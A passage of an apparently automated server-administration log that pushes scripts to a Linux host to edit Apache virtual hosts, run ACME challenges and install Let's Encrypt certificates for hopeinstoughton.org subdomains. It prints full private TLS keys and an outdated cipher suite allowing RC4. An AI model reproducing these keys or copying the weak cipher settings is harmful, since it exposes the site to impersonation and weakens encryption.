y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-03 06:02:05:
chmod 755 /tmp/pkp752027; /tmp/pkp752027; rm /tmp/pkp752027
2025-11-03 06:02:05:
dir=/etc/ssl/certs
2025-11-03 06:02:05:
PUT: /tmp/pkp358132
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-03 06:02:06:
chmod 755 /tmp/pkp358132; /tmp/pkp358132; rm /tmp/pkp358132
2025-11-03 06:02:06:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 48
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2025-11-03 06:02:06:
PUT: /tmp/pkp839012
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn3_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf= 1'
fi
2025-11-03 06:02:06:
chmod 755 /tmp/pkp839012; /tmp/pkp839012; rm /tmp/pkp839012
2025-11-03 06:02:06:
2025-11-03 06:02:06:
PUT: /tmp/pkp139600
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-03 06:02:07:
chmod 755 /tmp/pkp139600; /tmp/pkp139600; rm /tmp/pkp139600
2025-11-03 06:02:07:
.
2025-11-03 06:02:07: Establishing a connection
2025-11-03 06:02:08:
PUT: /tmp/pkp324998
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-03 06:02:09:
chmod 755 /tmp/pkp324998; /tmp/pkp324998; rm /tmp/pkp324998
2025-11-03 06:02:09:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-11-03 06:02:09:
PUT: /tmp/pkp204839
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:02:10:
chmod 755 /tmp/pkp204839; /tmp/pkp204839; rm /tmp/pkp204839
2025-11-03 06:02:10:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 1398
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
<VirtualHost *:443>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn3
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
<Directory /var/www/hopeinstoughton_cdn3>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn3_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2025-11-03 06:02:10:
PUT: /tmp/pkp133219
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:02:11:
chmod 755 /tmp/pkp133219; /tmp/pkp133219; rm /tmp/pkp133219
2025-11-03 06:02:11:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0 5369
30:ec:85:bd:99:be:1b:ca:08:41:10:1b:f9:2d:bd:15
-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBoL+GbLrLTGFSQ5S4RJyYXhGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzMwWhcNMjYwMjAxMDUwMzI5WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDoQy2YHmU3Z6m6IxVjzZeZ9AcABTAwA68wS0ZKCOcVewzxEgqd
grJaxe3NITDAnxknahqnLIyCyH83p1+nKZmUJf288gIo8VBx/2TGCH//YTaPSMe4
1vwBFv5NZiwHU3YN8XbAa3wLIpOqXB+Ti+agWRYCx/iGK3mVlLmJWZ1ClkJwuQmq
uHqY5U1Y6IdfCYZkPeFx8YO9xiSj5nNSWZwd/2WKJd6nr3vFj88GQ/K3tPQwcJrD
equooEBiTGwCCDVyczfAyFHO3D0TihgFldIbxGXyTmWwxuyCcErrjznF4pDEOqLE
yyZXlvF0nN3R6XSKj2tR6eZEn+vHLlpypS9JAgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFEoJfIz+xOsbeg7NnfY2SW6j0W7DMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzEuY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAA
AAGaSE7h+QAABAMARjBEAiB8DfexAIMClnyTChX5LHKzhTlcNNEDN17kwfe4x/ei
UwIgE7WfYVjBRm2Wihieh+WnE6HeYkhkjk1ZT2tMTSoMP4sAdgAZhtTHKKpv/roD
b3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZpITuH6AAAEAwBHMEUCIQD1Ivtn0zWe
OnMUeA7ENs8NumxxXGT5ktyk8yvmfOoN6AIgHr4CJlCi6FoYz/GoC2Ye9ReYMeIp
kYPgzrorHNnTV/IwDQYJKoZIhvcNAQELBQADggEBAEWBQyy12T60emmFeHyTjLB9
73H+HJIuBazlILaIq2Al077TL8FNgJ5aiWsEIIURsOzXan8+p1vUpaEubVd96a6M
+mMp5Qdi8MjHMfmIfjJQVxCUGaGZDgpPXCnxat1TSlJxFtm4Iay5Fiax5DhEAPwD
d9uUUSj/5Z8mAo7zyHDeZhIATIc/J4Zg/UKTeREvEKcLtZZHN2Mk5NalBPLOS+dr
WZnI3RTcVamxj2N+1oIixfMUVTtiRfZll8gm80rhuhbTGBK8L/+L+1xyljH9jmft
A9PjMdMw2TywlNe5+I0zwedFgieVb3BQKh/T9XcQ6yHdS2ovFMwh0D5GFksv8zQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDoQy2YHmU3Z6m6
IxVjzZeZ9AcABTAwA68wS0ZKCOcVewzxEgqdgrJaxe3NITDAnxknahqnLIyCyH83
p1+nKZmUJf288gIo8VBx/2TGCH//YTaPSMe41vwBFv5NZiwHU3YN8XbAa3wLIpOq
XB+Ti+agWRYCx/iGK3mVlLmJWZ1ClkJwuQmquHqY5U1Y6IdfCYZkPeFx8YO9xiSj
5nNSWZwd/2WKJd6nr3vFj88GQ/K3tPQwcJrDequooEBiTGwCCDVyczfAyFHO3D0T
ihgFldIbxGXyTmWwxuyCcErrjznF4pDEOqLEyyZXlvF0nN3R6XSKj2tR6eZEn+vH
LlpypS9JAgMBAAECggEAXPV2LCoOLKyqu7sK9pT0lkObAaER9kWjOlsGWN9TTb+g
IGQuJ3iF1dreIHmmP5HtyV6oKDymSDni4O12VTtLIoZKFfNudeCPZ/Dl7nS8dgP8
iECC3zH8TptbULMR8CSxXUdFViIu1W4TV93jLXSS6558NsS+bUS9Nub9k0FwtZMW
zCcrceXZyqx5XnVRt82utoR6e/eLgtNh+e+SGwjddzMg0rF8LN0npPP5x3ZKWRTz
SKjoj9mKgwFuIbqy84oXDjhvpzcIms0zyzO7LmmjBrWyOaYbKFF2K83ZimB5tYea
nHCMWvv7XPfc/Menjf+dMM9TJMsyOkQXzxH1huUIOQKBgQD+P0yUhcssjxK6umCX
PdxPztvaXgrugLm84uf5yEIvReO8ay1V+4HyQ5CU84QpQfRzxfJFkID9fgNAHwZj
AIutB0ZYSR6uioe3TNR0t07DTFjyi6aQ5mZaWw0OwJBWj1jibnDu42AFNu6OMLGC
sFXHG9neXyPtLFhUB5bPsRQifwKBgQDp3RRjkO+cdpBXmjDg866kkyBkkos3dmhu
uqKTb6IHemN0IH2IPV8XsBEogtSJxgYG6PqVN1PCiiSXw0t0eoR9uAdvfJgrYQGi
6kJo5tDGO5wppIeTsDwBgEKkxX5PlgPaXvhnxy5Ih0ewG5rkjYJQGt4I5ZghhncB
VpkeBf86NwKBgQCz6sVdgQSTBrghTYzW2h7Slzb7Y3tm5c8KfKPeHbnATDvpdQrD
AtUlRGzHC0BmFddQKi7UzXqKaCcStCHH43X0PuanyS6eI0gBDax239Ur3RZApVR8
y554qGAoJVq+9nfW3IKseljTt9i+5HRpYDGDUhEuDLOWvb/PzwMI/G2cLwKBgFtt
L6xhHBuqCnIE+Ljo60yxrAdFdyGeq+MmGarUCJ8tzLW4gfsCKyvijEKvKxIVlYOc
D2LId3llcjrWgaguwZ84k8eVCRRkXzRmqsHCArqM0VdCWDJ3wm2/y84I24GXnzf+
ytQffUujf3YsxJg3bkuMxWLrB1eL7vhZ95BSPd5vAoGBAKSAEaD6OYjnHtABiuTM
erlNAneUzc61JLHNft6+ur4U0L2UF5hxdFnQ6owVfGTyaFUYLB+QWlsjUdlI1o8e
+qlUxb0iuPAksSQ2oS8SyXnfseD6LK1QxzhImM7PajRQmZApciFngOui1517g7p2
b5zytfnGRt+3F0q3G/YAtR0s
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-03 06:02:11: Establishing a connection
2025-11-03 06:02:11: Establishing a connection
2025-11-03 06:02:11:
PUT: /tmp/pkp617386
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn1/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:02:12:
chmod 755 /tmp/pkp617386; /tmp/pkp617386; rm /tmp/pkp617386
2025-11-03 06:02:12:
1
2025-11-03 06:02:12: Establishing a connection
2025-11-03 06:02:12:
PUT: /tmp/pkp243226
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cat > USlWLl0XtS3NDj2BjgW-jnGDIotk-G5QAysFmgH167Q <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
USlWLl0XtS3NDj2BjgW-jnGDIotk-G5QAysFmgH167Q.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 USlWLl0XtS3NDj2BjgW-jnGDIotk-G5QAysFmgH167Q
2025-11-03 06:02:12:
chmod 755 /tmp/pkp243226; /tmp/pkp243226; rm /tmp/pkp243226
2025-11-03 06:02:12:
2025-11-03 06:02:17: Establishing a connection
2025-11-03 06:02:17:
PUT: /tmp/pkp852068
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
rm USlWLl0XtS3NDj2BjgW-jnGDIotk-G5QAysFmgH167Q
2025-11-03 06:02:18:
chmod 755 /tmp/pkp852068; /tmp/pkp852068; rm /tmp/pkp852068
2025-11-03 06:02:18:
2025-11-03 06:02:18: Establishing a connection
2025-11-03 06:02:18:
PUT: /tmp/pkp488928
#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0.crt
cat > $temp_file <<'endmsg'
bb:b1:59:28:20:27:6b:b9:64:e3:6e:28:af:51:42:20
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBgLQBKvcCTf4EzCNwYgspHOMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzQ1WhcNMjYwMjAxMDUwMzQ0WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC4OVjjNYDjON/WpA910nauzwBzDhCOtgFwxz7lN0+0xJNxdxN6
VK8RJXPQ/C70mR19dPJJd5NkJvpVFZ+QZnLCOri944FHw0G4vCgGgUpguX+2dL/3
1rsYnT3f+4/EiuvdyjLq3WGpJOVYLQWwsJjDEpia6iU7cld6koSSsv+zM9oxrXGj
JvJI9zPX9eAjH998mjtS0CPehJR4ggSDL3W6lInkMBxC5IynIoWjfl10nn39bm6a
p5WUXNE2X9rMc/k/A5YX3g6e/Nh+3qza5rcJjgiJxsLxc0oTB3clV8NvAQd/KCUa
OpyntF6qwgfaOB87xOKixCpwDDwp5OwT2luZAgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFBCMVjZ2AXrohXKF4WlIchxHoPWiMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTMuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYA
AAGaSE8cNgAABAMASDBGAiEApkejYcEqEU3B4nd+fmVj+IRlqbP7qdr3Vd12NtDL
jO8CIQChUF91YR1zjALCIu98pMdIgaTZ5MXBkEACFyJ26hQtXAB3ABmG1Mcoqm/+
ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmkhPI8AAAAQDAEgwRgIhAOcZSiqr
tuMLz4tSlsAMRilZsxkM2zO8NIshTTDYFdcwAiEA6+1QHC3RvzEeUQT3v8xNBUvW
rOFsn+YzOH6coUBOuz0wDQYJKoZIhvcNAQELBQADggEBALqUYfj6OrdaUrFOu8Fg
VV3aZOvtgsSD5bwViCvqcfFLPSQV/hsHh/3nZ/xcHSMFcHDcKAf9kCA5mlEq195Y
zXPgB8RBodgLXDYc3bHnmbSGSF/YijoP1KRMWxYw0eCyZzbGCqZq4YofQ2HVtUSi
do/g4beazlARQzKgUtBXPw/a2ceeb1aM3gzDNWtTa2a2dcjPzuZIgn3NV7b7egVt
E7dH17gub/haL03mFMane/aIwCVoxRejAidF0YpWRod+lRUgkBhfQuCfO9gQCDSB
joqQ6v5GgHyS8kUkron41hDmXGIb4uS1u6aotVVB/FEOPMcLBGaupuezFYS+EEk7
QzM=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC4OVjjNYDjON/W
pA910nauzwBzDhCOtgFwxz7lN0+0xJNxdxN6VK8RJXPQ/C70mR19dPJJd5NkJvpV
FZ+QZnLCOri944FHw0G4vCgGgUpguX+2dL/31rsYnT3f+4/EiuvdyjLq3WGpJOVY
LQWwsJjDEpia6iU7cld6koSSsv+zM9oxrXGjJvJI9zPX9eAjH998mjtS0CPehJR4
ggSDL3W6lInkMBxC5IynIoWjfl10nn39bm6ap5WUXNE2X9rMc/k/A5YX3g6e/Nh+
3qza5rcJjgiJxsLxc0oTB3clV8NvAQd/KCUaOpyntF6qwgfaOB87xOKixCpwDDwp
5OwT2luZAgMBAAECggEAPMvQJct2aYZPeIpT/9IhELeHsnClzjMKbqmSfBqw1zs4
XW2qo+hmjgYKHqHa7SXKsahyfQRVQ+wJGSM1sXXd0XOHnEMEWyZ4/fo6S0tHvHv7
Rb9pyuS2gf0CenSOkZI3HM6p1xCQNj3S4jKZeiINh/MPIbC78M5fSDgqQC+KaxzW
DtIlwsOIDZIHoCkajcTI0XjarVsh8AT95VeKt7XtHMZzbdPC/JEDKJOAoedQdGbm
DWRTwiZxattJ3bWO7Yly67DRSVhBd/lQO9otjdYoxXsBnDDho4AfBepQJ/KZtmDF
TJDaQ72ZsIF1G0gQ7BbxiNYiN0ay+i6IoSCW5sTvwQKBgQDlCOVEfxetiHewa2Ag
Nc+zUf1WwkRzX7lWIqUcfZ6U+gAhssZSlC0xe32w/BDzi9HaYDInEcZNLyA1llLO
